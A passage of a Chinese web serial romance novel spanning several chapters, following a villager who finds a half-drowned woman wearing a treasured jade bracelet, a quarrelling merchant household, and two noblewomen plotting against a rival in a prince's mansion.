。你王二是不是连早上的饭都还没吃呢,肚子里还是空的吧?哼…不是我欢儿说你,你说你都快三十的人了,村里和你一样大的汉子,人家的儿都已经到了娶亲的年纪了。你就没想过,为什么村里就没有一个姑娘能看得上你呢,竟是如此的不知羞!还‘水鬼’呢,我看你就是个成日里怎么睡都睡不够的睡鬼懒鬼吧!”

“嗨,我说你这个小丫头片子,怎么说话的。一句一个‘王二,王二’的,我王二至少也算得上是你叔了吧。你怎么就这样牙尖嘴利地怼你王叔我呢。你眼里还有没有长幼尊卑了。刚还夸你这些年跟着‘活菩萨’没有白跟,怎么转眼间就连说话都这么目无尊长了?老夫人,这你可要好好管教管教这个丫头了,这样下去还得了?”王二本就郁闷着,这会儿又被欢儿这么毫不留情,劈头盖脸的一番训斥,自是顺不过气来,忙起身跳脚起来道。

这时,老妇人似是已调整好了自己的心绪,拭去了眼角的泪痕,对着欢儿训斥道“欢儿,方才老身跟你讲的话,你转身便全都忘尽了么?再怎么说,你都得尊称王二一句王叔,他平日里,田里也帮衬了我们不少,你又岂能如此对他言语不敬?这么多年,看来老身终归都是白教你了。”

老妇人话一说完,便不再看她,欢儿见主子又对自己怒了,心里紧张极了“老夫人,欢儿……”

看到主子已然是真的恼了自己,欢儿似是无奈地嘟起小嘴来,对王二躬身致歉道“王叔,对不起,欢儿知错了。”

哪知王二竟顿时蹬鼻子上脸起来,对欢儿的歉意根本不放在眼里,嗤之以鼻又冷哼一声“哼”,随即便将头扭了过去。

这时,一旁的老妇人转身过来,走到王二的面前,疑惑地问“方才你说水鬼?到底是怎么回事?”

终究,被所有人誉为‘活菩萨’的老妇人的面子,他还是要给的。不然,他也不会在发现了这个水鬼之后,第一个便跑来了她的院落里相告此事。

于是,王二一脸正色地回答老妇人的话,道“今日清晨,我起来一进庖屋里,本想烧水煮几个饺饵裹腹。可掀开水瓮一看,瓮都见底了。于是,我便挑起扁担来去河里取水。忽然,我看到河对岸拐角上的水草丛里,好像漂着一个什么东西,便好奇地卷起裤脚淌了过去。可走近一看,哎呀妈呀,真是吓死我了,这辈子怕是我王二再也不敢下河游水了。”

“你走近一看怎样?”老妇人只看着他的眼睛,着急地问道。

“哎呀,‘活菩萨’啊,

第一百九十五章:似曾相识“燕”归来

许久后,王二见老妇人仍旧一动不动,便忽然露出满脸喜色,自顾自说道“这大过年的,天这么冷,她也不知道从哪儿漂来的,又漂了多久。昨夜里夜空中电闪雷鸣,又是一夜的滂沱大雨,风雨交加,她一定是死定了,是不是?”

就连一旁紧张极了的欢儿,此时亦开口问道“老夫人,这位姑娘,她……”

就在这时,尚还未及欢儿将话说完,王二竟冷不防迫不及待地伸出手来,一把扯掉了那女子脸上纯白面纱的遮挡,却当即被这张脸惊的掩鼻背过了脸去,同时一脸嫌弃地惊声一句道“哇,好丑!”

欢儿见了,亦有些触目惊心地呑咽了一口口水,似是惊呆了。

然正蹲身在其身旁,努力探寻着女子极其微弱的脉息的老妇人,则亦被突现于眼前的这张脸惊的目瞪口呆,嘴里低声喃喃道“难道是她,这怎么可能呢……”

欢儿一听,忙惊讶地问道“老夫人可是认得这女子?”

“先不要说了,她的脉息很微弱。赶快将她带回去,得赶快救治,否则命将不保矣。”老妇人正色道。

这时,欢儿朝着一直背身过去愣在一边的王二,在其后背上拍了一把,道“你还愣在那里做什么,还不赶紧将她背回去。”

王二闻之,顿时转过身来气着道“你个小丫头片子,胡说什么呢?让我王二背这个水鬼?凭什么是我背?要背你自己去背,我可不背。本来这大过年的,一大早便撞见了这个水鬼,已然是要我王二倒霉一整年了。如今若是再让我背她,那我岂不是要倒一辈子的霉了么?”

“你…王二,你到底背不背?不背的话,以后你就再也别进我家的门,别求我们任何事……”欢儿气的再次将手指指向了王二的鼻子,似是实在拿这个懒汉没了法子。

然王二似乎根本不在乎面前的这个小丫头说了些什么,只自顾自地眼珠子咕噜一转,脸上突然扬起一抹诡异的笑来,似是心里打定了什么主意。

随后,他便飞快地绕过了欢儿的身旁,来到老妇人跟前,亦蹲身下去,笑着对其说道“老夫人,刚才您也说了,这个丑丫头气数将近,命将不保矣。我们若背她回去,万一救不活,让她死在了你那座‘菩萨庙’里,岂不是污了你的眼,脏了你的地儿么?不如…不如就把她交给王二,王二将她背去后山给埋了,也算是积德行善,她也算是入土为安,总好过曝尸荒野,得个死无全尸了吧。”

说着说着,那王二竟已经不知不觉地开始将他那双贼精贼精的眼睛,移向了女子未曾被把脉的另一只手腕上。

他瞪大了那双圆溜溜的眼睛,似是眼珠子都快要从眼眶里跳出来了似的,嘴角还流着长长的口水,一脸欣喜地

注视着女子手腕上,紧紧套着的那只光彩夺目的七彩金丝彩玉镯子,并已悄悄地试探着将手覆上去,想要将其摘下来据为己有。

这时,老妇人看着王二似是极为眼红和稀罕的模样,顺着他所注目的方才亦缓缓放眼看去,这才发现在那女子方才未被自己把脉的另一只微微压在身下的手上,竟套有一只她这辈子始终都记忆犹新的镯子。

她顿时快速地伸手掀起帷帽上的黑纱来,情不自禁地朝着那镯子惊讶地瞪大了眼睛,呆在原地,又一次被惊呆了“这人,这镯子…真的是她……”

如果方才一开始,看着这张脸还只是似曾相识的话,那现在再加上这只她至死都不会忘记的七彩金丝彩玉镯子。眼前的这个女子,在这世上,除了她,还会是谁呢?可不是传闻都说,她已经……

就在老妇人一手挑起帷帽的黑纱,瞩目着女子腕上的七彩金丝彩玉镯子陷入一片沉思惊愣着的时候,一旁的欢儿亦甚感疑惑地开口问道“老夫人,难道你也对那只镯子……”

“住手,不要动她手上的那只镯子。”被欢儿及时的一声轻唤,眼看着王二已经捉住女子的手腕,即将要将其摘下来的时候,老妇人忽然大声制止道。

王二大白天里,昧着良心做这种事,本就心虚着,竟被老妇人的这声吓得扑通一声,重重地朝后一屁股跌坐在了女子身旁的泥水潭中。

一夜的暴雨过后,自是满地的黄泥遍地。这黄泥顿时四溅开来,竟溅了他一脸,一身。

欢儿顿时惊的张大了嘴巴,紧接着掩鼻“噗嗤”一声,竟忍不住笑出了声。

这小河边本就只有窄窄的一片青草地,最多也不过只能放下女子的身体。

于是,他气呼呼地起了身来,看了正在掩鼻窃笑的欢儿一眼,接着又朝着自己周身瞅了瞅他的遍身稀泥,继而朝着老妇人大声吼叫道“‘人吓人,吓死人‘的知道么?”

然老妇人却并没有笑他,只见她缓缓放下来手中挑着的帷帽上的黑纱,正色地对王二说道“王二,你不能摘走这女子手上的那只七彩金丝彩玉镯子……”

老妇人的话尚未说完,王二便一脸不屑地忿忿将其打断道“为什么不能摘?

第一百九十六章:父亲已经不是以前的父亲

月潜日升,云消雨散,一场秋雨一场寒,一场春雨,带至人间一场暖。

经过昨夜的一场大雨,西秦国里普遍都迎来了百花盛开,万物复苏,到处都一派生机盎然的春天景象。

雨后的天空变得格外蓝,空气亦分外清新,还夹杂着些许泥土的清香。

街上一如往常,来来往往的过路行人,亦都各自脸上洋溢着一份难以掩饰的幸福与喜悦。

和煦的春光,照在人们的皮肤上,不但温暖,而且令他们全身都闪闪发光。

又是一年春到了,春是一切美好开始发生的季节,更是人们心中萌生出无尽希冀的季节。

时至城西衣府的午饭时间,家主衣上坤入座后难得地细细打量了一番面前食案上,一大桌甚是丰富的鸡鸭鱼肉等各式菜色佳肴,许是也因了这屋外处处令人陶醉的桃红柳绿的景致,他的脸上亦露着极为罕见的喜悦之色。

正预备抬手动筷,忽见他将目光移向了正围坐在食案边上等待着起筷开饭的众人,似是发觉了与以往有些不同,随即便开口询问端坐在其身旁,但一直都气呼呼地板着一张脸,嘟囔着一张小嘴,似是被人抢走了她什么心爱的稀罕物件似的衣上雪道“雪儿,怎么今日里都不见你娘出来吃饭?莫非是身子有何不适么?”

衣上雪一脸不屑道“父亲只需在乎大房里的事便可,还来管我们这些庶出的做什么?”

衣上坤听闻此言,甚感莫名其妙,便训斥衣上雪道“你这个丫头,怎么跟父亲说话的?身为一个大家闺秀,平日里的书都念到哪儿去了?今日里,你从早上到现在,都是这一副鼻子不是鼻子,脸不是脸的臭模样。你平日里任性又刁蛮,对待府里的下人更是尖酸刻薄,你以为为父我什么都不知道么?你若还不好好跟你大姐学学,以后定还要吃更大的亏不可……”

眼看着衣上雪横眉竖眼,咬牙切齿着,已然被衣上坤的这番话已完全激怒,正待发作。坐在衣上坤另一旁的年氏眼疾手快地拿起勺子,赶忙舀起满满一勺摆在家主衣上坤面前的满含胶原蛋白的黄豆炖猪脚来,打断了衣上坤接下去的话,笑着将其放到衣上雪的碗碟里,替其圆场说道“时间不早了,我们雪儿一定是饿坏了才会口不择言说错了话,老爷您就莫再动怒训责她了,让雪儿先吃饭。姑娘家脸皮薄,哪能经得起您这样训呢?雪儿,来,快吃,这个黄豆炖猪脚是你最爱吃的菜,美容养颜、益气养血、健脾宽中,多吃点。吃完了饭,大娘便随你过去瞧瞧你娘,有大娘在,雪儿什么事都不要忧心,快点儿吃!”

“老爷,你也吃。”一边说着,年氏亦给紧绷着脸,眉头不展的衣上坤添了菜。

衣上坤自知

是年氏在劝,亦是给争执不休的他们父女俩台阶下,便只好轻叹口气,继而捉起筷子来只管低头吃饭,不再言语。

岂料衣上雪听着耳旁年氏的柔声细语,眼睛直勾勾地瞪着眼前碗碟里年氏放入的一勺菜,竟忽然深吸口气,一把大力地将其掀翻打落在地上。

瓷器落地,发出咔嚓咔嚓阵阵清脆的声音来。

衣上坤惊讶地望了一眼地上的一片狼藉,顿时抬起头来厉声呵斥道“做什么?你还没完没了了不成?”

年氏见势,忙伸出手小心翼翼的扯了扯衣上坤的衣袖。然这次衣上坤似是根本没打算再继续退让。

于是,他放下手中的碗筷,朝衣上雪认真地说道“你今日如此行事,究竟意欲何为?若说不出个子丑寅卯来,这一整日,你便饿着肚子吧。”

“哼,不吃就不吃,饿死了最好不过了,死了干净,也正好称了某人的心,如了某人的愿。”衣上雪忽的起身来,将话一说完便踢了脚凳子,转身欲忿忿离去。

一时间,衣上坤被这个女儿气的直冒青筋。

同是一个院子里养大的吃同样饭喝同样水的孩子,为何这个女儿和另一个就差的那么远。

顿时间,他只觉得眼前天旋地转,却还是站起身来对着衣上雪离去的背影吼道“你…有本事,这辈子你都别再吃我衣府的饭。”

衣上雪闻之顿足,狠狠道“不吃就不吃,吓唬谁啊!”

说完,便再头也不回地跨出了门去。

衣上雪离去,衣上坤仰天长叹“逆子,逆子啊,真是家门不幸,家门不幸啊!”

年氏随即一边伸手在衣上坤的胸前帮其一把接着一把地顺着气,一边语重心长道“老爷消消气,不要跟自家人一般见识,他们都只不过还是些不懂事的孩子而已。老爷如此激进言语行事,伤父女感情,更伤孩子们的心,家以和为贵!”

“唉,三个孩子,真是没有一个能让老夫省点儿心的。从昨日至今,老夫这眼皮子一直就跳个没停,也不知道究竟是怎么了?”衣上坤一边落座,一边无奈的心事重重道。

闻此,年氏亦紧随其后落座下来,蹙眉着若有所思道“老爷…实不相瞒。其实,我也同老爷无异,从昨日起身至今,胸口里一直觉得憋闷得慌,感觉像是有什么大事要发生似的。”

“你也是?”衣上坤望着年氏一脸惊诧。

年氏轻轻对其点了点头,心疑地吞吞吐吐道“老爷…该不会是云儿那丫头…要出什么事吧?!”

听着年氏心里的怀疑,门口一棵大树上的一片新叶悄悄滑落下来,衣上坤放眼出去朝其瞥了一眼,稍一仰头,忽然望着窗外南边的天空中,飘浮着的一朵离了群的

第一百九十七章:此母女非彼母女

衣上坤一迈入兰姨娘的卧房,很快便绕过屏风透过一层深紫色轻纱,搜索到了正倚坐在榻内的兰姨娘身影。

兰姨娘在房内,早已听到了衣上坤与衣上雪父女俩人方才在院子里的对话。

此刻,她隔着那层紫纱,对出现在自己眼前的这个男人,露出了从未有过的一脸失望和怨恨的表情,继而狠狠地瞪了他一眼。

然衣上坤却并未意识到紫纱另一边兰姨娘的心思,依旧含笑着走到榻边伸手轻轻地掀开了俩人之间那层轻纱的阻挡。

不想竟顿时传出来兰姨娘声嘶力竭的一阵埋怨声来“你来做什么?你还来我这儿做什么?你给我出去,我再也不想看到你,出去,咳咳咳咳咳…咳咳咳……”

衣上坤这才看清楚,兰姨娘的模样看起来似乎是真的病了,她一脸苍白着毫无半点血色地倚靠在榻边。

还没说出两句话,便拿着帕子掩起嘴不停地连连重咳了起来。

衣上坤一见,脸上的笑容顿时消散去,眉毛却瞬间拧作了一团,紧忙踱步到窗边的桌案上倒了碗热水,欲将其递到兰姨娘的手中。

不想,兰姨娘却一把将其打落在地,咬牙切齿,面目狰狞地朝他哭着怒吼道“衣上坤,你真是好狠的心呢!常言道‘虎毒尚且还不食子’呢,昨夜里,风驰电掣,霹雳漫天,大雨滂沱,俊儿,他可不是外人亦不是你的仆人,他是你衣上坤唯一的亲儿子啊。你如何忍心在那样危急的夜里,遣他去城南那样远的地方,跋山涉水,就只为了寻回那个贱人养的小贱蹄子么?我真恨不得,昨夜里的雷电已将那个小贱人狠狠地劈死在了外面,疾风骤雨已将她浇灌至死。如此,以后她便再也不能伤害到我的儿和我的女了。天呢,若是我的俊儿有个什么闪失,我…我非和你拼了命不可,我也绝对饶不了年氏那个贱人。老天爷啊,我的命怎么就这么苦啊,嫁给你就没过过一天好日子,呜呜呜……”

衣上坤闻言,快步上前坐到其榻边,抱着其肩靠在自己的肩头,语重心长道“兰,这些年跟着我衣上坤,我知道委屈你了。你一个出身书香门第的千金大小姐,下嫁给我一个外乡人做妾室,这些年,不但苦了你,也苦了孩子们。可是,你我夫妻十余载,你忙里忙外,又为我辛辛苦苦怀胎十月,同胞诞子一双。我原以为,我们理应早已心有灵犀。但如今,你真就如此看待你夫,我吗?佛经有云‘亲生之子,怀之十月,身为重病,临生之日,母危父怖’。俊儿自是从你身上掉下来的一块肉,可对于为夫我,又何尝不是呢?”

“既然如此,那你…你为何还要那样做?”兰姨娘听闻衣上坤的一番肺腑之言,似是方才微微有些动容,却依旧不解道。

衣上坤叹了口气,道“古人有云‘父母深爱子女,则为之计深远’,所以一直以来,你都是精打细算着过日子,什么都替他们盘算着,一心只想着为俊儿和雪儿攒下一份厚实的家业,让这两个孩子往后余生里,不愁吃不愁穿,活的尊贵体面。”

“我是他们的亲娘,自是要帮他们做长远的盘算,难道这错了么?”兰姨娘忽然止住哭声,又吸了吸鼻子,打断衣上坤的话为自己辩驳道。

衣上坤道“兰,难道你到现在还不明白?孩子们早都已经长大了,他们需要的已不再仅仅是每日吃好穿暖,躲在自己的安乐窝里。他们早已有了自己的想法,想要经历更多的人生磨练。就如上次秦王亲临衣府的事,若不是因了那次,你我怎会知道整日里吊儿郎当的俊儿竟胸怀有如此鸿鹄大志呢!而且,为夫见他自此之后整日里闭门苦读,再也不同雪儿厮混瞎闹了。俊儿他堂堂七尺男儿,倘若就连昨夜的那点风雨雷电便牵绊住了他前行的脚步,那他这一生即使上了战场,还能有什么出息?这孩子啊,就像是你手里的风筝,你若总是担心怕他飞的太高逃离了自己的视线,而将线紧紧地绕在你的手上,那他不但飞不高,飞不稳,甚至还会伤心的折了翅掉下来。可你若是松开了手中的线,他便飞的越高越稳越开心,那才是他想要的不受羁绊,尽是肆意畅快又无怨无悔的一生。”

衣上坤一边说着,眼里流露出尽是一片希冀的光来。

“可我就是不甘心,为什么非要是那个贱丫头,如果俊儿万一…那我……”兰姨娘靠在衣上坤的肩头静静地听着,似是心里已经有所释怀,却仍有一丝不甘和不舍道。

衣上坤安慰劝解道“放心吧,俊儿是我衣上坤的好儿子,他一定不会有事的。去寻云儿,就当是还她母女的吧!”

兰姨娘闻声,立刻端坐起身来反驳道“你这话是什么意思?什么叫‘就当是还她母女的’?这些年里,虽说我一进门就掌了家,可难道我对她们不够好,缺衣少穿了么?”

衣上坤将一手搭在兰姨娘的肩上,一边抚慰着她,一边说道“兰,这个家交给你,我自是一百个放心的。但你可知为何当年我无论如何都不肯答应岳父,弃了这糟糠之妻而迎娶你入门为正室么?”

“因为所有人都认为你老实忠厚顾念旧情呗。其实,只有我傻,明知道你骨子里还是挺滑头的,你一定是料定了我一定会嫁你。因为无论是在父亲的医铺里,还是在他后来被朋友引荐所牵连,进宫为太后诊病,因开了一味世间极其难得的千年人参而被认为是黔驴技穷,故意开这种莫须有的药糊弄朝廷,以免其罪责。而被宫里羁押,在生死攸关之际,只

有你有本事帮助并且救出他。对么?”

衣上坤笑着摇头。

兰姨娘回忆着道“说真的,我和父亲一直都很为此而惊叹呢!当年的你,一贫如洗,究竟是从何得来的一株罕见的千年人参进贡给太后,方才救了父亲一命呢?你也因此美美地在宫里露了一脸,当着那些迂腐之辈的面前,让他们都自愧不如。而我父亲和我也彻底被你征服了。”

看着兰姨娘此时脸上不经意闪过的一抹骄傲,衣上坤回忆着道“其实,这株千年人参并不是我的,而是云儿母亲的。云儿是她用自己生命换来的,所以我断不能做这过河拆桥,忘恩负义的事啊。”

兰姨娘这会儿才明白过来,惊异道“想不到那院里的贱人,竟会有如此宝贝。”

此时的兰姨娘自是不知衣上坤口中这会儿所说的衣上云的母亲,实际上可并不是指住在这座宅院里的另一个女人,衣上云名义上的母亲。

衣上坤的心里一直很清楚,有些话他始终还是不能与兰姨娘说的。冥冥之中,他确实心里也不十分清楚究竟为什么自己会有这样的想法,只是感觉说出来一定会招来某些不好的灾祸发生似的。

此时,为了平息和安慰兰姨娘心里的火苗,他只能言不由衷地将计就计了。如果让兰姨娘知道了衣上云并非年氏所生,年氏的地位一旦不保,衣上云在衣府的日子怕是也一定更加艰难。

“哦!所以当年你实际上应该谢她才是,没有她,我也是江郎才尽,巧妇难为无米之炊啊!”衣上坤答道。

兰姨娘听了,瞪了衣上坤一眼,不以为然道“你们本就是夫妻,她的,你的,有必要分那么清楚么?若是真要分,那当年父亲为了我们成婚后,不至于挤在你那巴掌大的一间茅草屋里,能有个像样点儿的落脚的地儿,这座府邸还是他一手置办的呢,这又该如何算呢?”

衣上坤不可否认“兰你说的也是,也是……这都怪为夫我无能,给不了你富足无忧的生活,还要劳烦老丈人他费心。所以,当年年氏也同意我以正室的三礼六聘,八抬大轿将你风风光光地正式迎进了门来,对吧?”

毕竟,在生于乡野之间的年氏的心里,她也清楚的跟个明镜似的,若是当年没有兰姨娘一家的帮衬,别说衣上坤能有今天的这份体面和风光了,就算是找一能遮风避雨的一隅之地,恐怕都将是奢望。

毕竟,这里可是天子脚下的皇城地带,不是谁都可以活下去的。

此时,衣上坤看着兰姨娘脸上露出的那份安然自得与神气,忽然想起过去的种种艰辛来,一种莫名的心酸感油然而生。

兰姨娘似是终于受到了安抚,亦解开了心里的疙瘩,一边下榻更衣一边对衣上坤道“对了

,我忽然想起来,云儿那丫头貌似有一只极为珍贵的金丝彩玉镯子,如此贵重之物,尚且连我都没有呢,她是打哪儿得来的?听年氏说,是你一位已故的故人赠的?”

衣上坤闻之不知为何,忽然紧张起来,愣了一下,道“兰…那只七彩金丝彩玉镯子,是云儿的命。除了那个镯子,我衣上坤的任何东西都可以给你。”

兰姨娘被衣上坤此时的表情惊呆了“你这么紧张做什么?我又没有说要那个镯子,难道,这只镯子有什么不可告人的秘密?”

衣上坤顿时吐了口气,默默地走过去从后面搂住了兰姨娘的腰肢,贴在她的耳边,柔声道“兰,相信我。也许,有一天你会明白这一切的,但绝不是现在。”

(本章完)

第一百九十八章:午后博弈

自古以来,民间便有云‘蚕豆花开,张眼不开。’春暖花开,万物复苏,鸟语花香,大地上到处呈现出一派欣欣向荣、生机勃发的兴旺景象。

城东秦王府的韶华阁里,一席丰盛的午膳过后,梅汐媛已是尽显一副困倦乏力、眼涩又晕眩、精神头差了许多的‘春困’之态。于是,这会儿正值她舒适恬静的午睡时分。

而陪其一起用膳之后,回到自己房内的陆天骄,则俨然没有梅汐媛的那份舒心与惬意。

此时,陆天骄正独自坐在房内的窗户前叹着气,一脸忧郁,心事重重着。

这些日子以来,她无时无刻不想起除夕夜自己亲眼所见的发生在林月轩的一切。而每当想起它的时候,就仿佛那一切如同刚刚发生的一般,血淋淋又无情地鞭挞着她已满是伤痕累累的一颗真心。

手里捧着一本诗集倚窗而坐,面前放着一杯原汁原味的苦柠檬茶,散发出缕缕热气。

她出神地凝视着窗外一树正含苞欲放的海棠花骨朵,还有周围正花团锦簇相依相靠在一起的梅树做伴,而自己在这个偌大的王府里却是如此的孤苦无依。这一切,都是自己心甘情愿选择的,似乎也怪不得别人。其实,事到如今,她又还能怪谁呢?

忽见她轻叹了口气,随即将那副饱含忧郁又呆滞的眼神收了回来,圆圆的眼睛微微眨了两下。紧接着,一只玉手轻轻晃动,目光亦随之停留落在手里诗集的某一页上,不禁轻声吟道“劝君莫惜金缕衣,劝君惜取少年时;花开堪折直须折,莫待无花空折枝。”

静静地吟完后,只见她微微地嘴角上扬,竟独自痴痴笑了起来,也不说话。

片刻后,嘴角的笑意渐渐消失,举杯抿了一口自己特意亲手泡制的这杯苦柠檬茶,满嘴里都是苦苦的,可心里,又何尝不是呢?

她一只白皙纤细的玉手,紧紧握着手里的茶杯,苦笑道“这可真正是‘哑巴吃黄连,有苦说不出’啊。我堂堂西秦学院大小姐,竟也会有一日会落得如此境地。我发誓,总有一天,我要夺回属于我的一切。”

关于除夕夜,她无意中所看到的发生在林月轩里的一切,碍于轩辕翰亲自交待她不许泄露的情面,始终她再是气不过也还是守口如瓶,对梅汐媛果真没有透漏出半分。

然也正是因此,她心里堆积如山的苦楚得不到一丝发泄,便更是感觉憋屈。她甚至后悔,自己那晚为什么会去那个院子里偷窥。如果她没去,便不会看到那些让自己苦苦煎熬的一切,便不会这般痛苦。

不过,当这个极具颓废消极的念想刚一浮出脑海的时候,她便立刻将其扼杀了住,嘴里狠狠地自言自语道“知己知彼才能百战不殆,如今看来,翰哥哥已然

已对那丫头极不一般,对其在乎的程度远远胜过那个傲娇公主。既然我陆天骄为了翰哥哥,已经选择了这条艰难的路,那么不管付出任何代价,我一定会坚定不移地走到底。不到最后一刻,谁都不知道到底谁才是真正的赢家,又是谁才是最后陪伴在翰哥哥身旁的那个人?”

没过多久,韶华阁里的梅汐媛在片刻的午睡后,亦已再次攒足了精神,懒懒地披头散发着起床下榻来。

她端坐在梳妆台前,看着菱花镜中的容颜。这张脸,仿佛还是那张很年轻的脸。

她缓缓伸手,用手指轻轻滑动抚过自己的脸庞,那皮肤依旧是白皙水滑的,那双眼睛也依旧是清亮晶莹的,还有那片朱唇也还是胭脂红润的。

只有那颗心,却早已不再是最初的那颗一腔热忱的心。这颗心,似是已老了许多,丝丝苍凉早已沉入心底。那颗心,已被人一次又一次地用冷水浇透,却还仍然企盼着那个人能有一天,亲自用他的真情将它再次捂热。

而想要等到那一天,当下最棘手的事,便是和陆天骄联手将已经满满占据了那个人心里的那个女人连根拔除,这样她才会有机会。

梳好了妆,乘着这会儿的日头不强也不弱,梅汐媛缓缓踱步着来到了韶华阁的花园里,便差人过去邀约陆天骄做伴,欲在小花园的石桌边坐下,一边惬意的晒着阳光,一边博弈品茶言欢以及商议她们共同的大事。

很快,陆天骄便端着满脸的笑容通过了拱门来到了韶华阁的花园,她对梅汐媛福了福身子,问安道“姐姐晌午歇的可好?”

梅汐媛对其连连笑道“好好好,妹妹你呢,方才可有睡着么?”

陆天骄一边朝着梅汐媛身旁落座,一边回答道“妹妹这会儿不困,尚未午睡,倒是看了会儿诗集?”

梅汐媛闻之,好奇地道“哦?不知妹妹看了什么诗?”

陆天骄道“倒是也没有太在意,只是随手拿起翻到一页,仿佛是云‘慈母手中线,游子身上衣。临行密密缝,意恐迟迟归。谁言寸草心,报得三春晖。’”

梅汐媛正欲落下手里的第一枚白子,闻之一下子想起久未蒙面,远在东宁的母后,一阵难以自持的悲伤感顿时涌上心头,说道“这首《游子吟》果真是好诗。说起来,姐姐我也已许久不见母后了,不知她过的好不好?”

看到梅汐媛已然被动容,拭起泪来,陆天骄亦黯然失色道“姐姐只是许久未见母亲,而妹妹却是此生再也见不到母亲了。”

梅汐媛一听,顿觉自己失言,便一脸歉然道“没关系,以后,姐姐会好好照顾你的,我们都不难过了,好么?”

陆天骄用锦帕轻拭着眼角的泪花,转念间忽然开口问道

“对了姐姐,近日里怎么似乎没有见到殿下的人呢?这年关尚未过完,莫非他便开始忙碌于公务了么?”陆天骄亦一边在梅汐媛方才落下的第一枚白子的旁边,掷下了自己的第一枚黑子。一开始便显得似是有些故意让着梅汐媛的样子,一边开口问道。

然梅汐媛却并没有开口回答她,只一心一意地落子有声着。

许久后,俩人已过数局,梅汐媛一直稳赢着,忽然她似是察觉到了陆天骄是存心有意相让于她,便一脸不悦地气道“妹妹这是做什么,明明好好的一盘活棋,怎么眼看着你马上要赢了,却转瞬间又是要输了的样子呢?唉,一直赢似乎也很无趣,既然妹妹无心于此,不下也罢。赵嬷嬷,收了吧!”

赵嬷嬷上前收拾棋局,姐妹俩人便一起起了身来,陆天骄赶忙上前搀扶住梅汐媛的胳膊,继续道“姐姐难道一点儿也不在乎殿下去了哪里么?”

“哼,在乎如何,不在乎又如何呢?姐姐我既不是他放在心上的人,在乎亦或不在乎他,又有什么不同?”梅汐媛佯装无奈道。

“姐姐,事在人为啊!”陆天骄这句,似乎是在提醒着梅汐媛一些她们之间的什么约定似的。

梅汐媛怔住看了她一眼,忽然似是想起了什么,问一旁的赵嬷嬷“对了,这几日可有在王府里看到公主和太子呢?”

“回王妃的话,公主和太子跟着殿下一起去城南了?”

听了赵嬷嬷的话,梅汐媛甚感诧异“城南?前几日刚从北山回来没几日,这会儿怎么又去了城南了?真不知,这大过年的,他整日里到底在折腾些什么?”

陆天骄闻之,转念又提醒她道“姐姐,明日便是元宵节了。过了明日,衣上云那个丫头就要进秦王府了。姐姐可有想好了如何安置她?”

“早就想好了,如此聪慧拔尖能干的人,自是要留在这座王府的主人身边侍候咯。”梅汐媛意味深长地说道。

“姐姐真的打算这样做,可都想好了?”陆天骄一再确认。

“难道这不是妹妹你的主意么?”梅汐媛反问道。

“妹妹不敢,妹妹日后一切都听姐姐的差遣。”陆天骄故作卑微道。然她心里,却不知有多期盼着即将到来的好日子。

梅汐媛此刻虽然笑对着她,心里却不知有多恨。就凭你,也配跟本公主抢男人,痴人做梦吧。总有一天,我一定会让你看清楚自己的身份。

就在这时,一名女婢慌慌张张地通过拱门进来,一上前来还未行礼便大声地开口道“王妃,不好了,不好了……”

“如此行色匆匆,莽莽撞撞,平日里赵嬷嬷没教过你们规矩吗?也不怕冲撞到王府里的主子和客人。”梅汐媛一边厉声朝其训斥着,一边斜了一眼

身旁的陆天骄,对女婢使了个眼色。

“奴婢错了,请王妃责罚。”女婢这才急忙跪下来认错。

“好了,算你运气好,撞上本王妃今日心情好,免罚了吧,方才你是想说什么?”梅汐媛一边借着轻抚头上新制的金步摇,挣脱了陆天骄的手,一边一脸悦色地朝着女婢身边近身过去。

女婢起身来,只轻唤了一声“王妃娘娘”随后,便将手覆在梅汐媛的耳边,对其悄声耳语起来。

陆天骄努力地侧着耳朵,却依旧半个字都没听到。

然她心里依稀觉得,这名女婢所禀报上来的事,一定与她的翰哥哥有关。

只见女婢耳语了片刻后,一离开梅汐媛的耳旁,梅汐媛便瞬间犹如一个木头人似的惊愣怔住了……

(本章完)

第一百九十九章:世事总是难料

陆天骄心里依稀觉得,这名女婢所正在禀报上来的事,一定与她的翰哥哥有关。

只见女婢耳语了片刻后,一离开梅汐媛的耳旁,梅汐媛便瞬间犹如一个木头人似的惊愣怔在了原地。

难道昨夜她梦到她的翰哥哥被一庞然大物所食是真的?她的翰哥哥真的出事了?此刻,陆天骄的心里忽然生出一抹极不好的预感来。

她只想要奔到林月轩里去一探究竟,可是那个地方,又怎会是可任她如此来去自如的地儿呢?可她也不能就只站在这里呆呆地陪着这个笨女人傻愣着啊。她突然想,如果这个笨女人不在王府里牵绊她该有多好,她就可以和除夕夜一样,悄悄地远远站在一边去探探那个院子里的动静,看看她的翰哥哥是不是尚还完好无损的存在着。

就在这时,梅汐媛突然转过身来,神情漠然,看起来又甚为不安的样子,朝着一旁同样呆若木鸡的陆天骄说了句“我忽然有点头晕,想去歇一会儿,你也回去吧。”

陆天骄似是早已经再也按耐不住内心的焦虑,梅汐媛此时竭力所佯装表现出来的这副冷静表情,让她感到不寒而栗。此时,她的整个身体都开始有些微微颤抖了起来。

她深知,自己从来都不曾得到梅汐媛内心真正的信任和认可,梅汐媛所获得的消息,不但对自己很少提及,就算是提及,也是真假难辨。可她其实也并不在乎,她们俩之间,终究只是一场女人之间的合作与交易而已,各得其所罢了。

可是,面对有关于她最爱的翰哥哥的事情,她自是什么都可以不顾,更什么都不在乎。如果非要,她不建议与她,哪怕与任何人之间来一场真正的较量。她觉得,这是她自己爱那个男人的方式,亦是对他的忠贞不渝。此生,他只能是属于她一个人的。

于是,她压低了声音对着刚经过她身旁的梅汐媛的背影颤颤地开口问道“是不是翰哥哥…出了什么事?”

不知为何,梅汐媛的眼角竟不知何时起,闪烁着点点泪花。听到陆天骄的声音,她渐渐止住步,告诉她道“你的翰哥哥,他很好。大过年的,他带着公主和太子,一同去了城南最有名的烟花柳巷,不仅如此…那个丑丫头…也去了。”

话到最后的时候,梅汐媛忽然紧紧地咬住了下唇来。

“什么?这不可能,翰哥哥一向洁身自好、不近女色、且贯有洁癖,怎么可能会去那种地方?你一定是搞错了!”陆天骄闻此,一时间惊呆了。

梅汐媛说完,眼睛微闭,泪珠儿便顺势滑落了下来,流经她姣好的脸庞。片刻之后,她一睁开眼睛来,便气势汹汹,再头也不回地自顾自朝着韶华阁的阁楼而去。

留下久久怔在原地里的陆天骄,满是一

副摸不着头脑的表情,只不停地一边摇着头,一边出神地道“不对,一定是她们搞错了,一定是,翰哥哥绝对不会是那种放荡形骸之人,绝对不会。”

然一边坚定地说着,她却抬起手将手边的一株开的正旺的榆叶梅,连同整个枝条都大力地扯断了下来,丢在自己的脚下狠狠地发泄踩踏起来。【…¥~@更好更新更快】

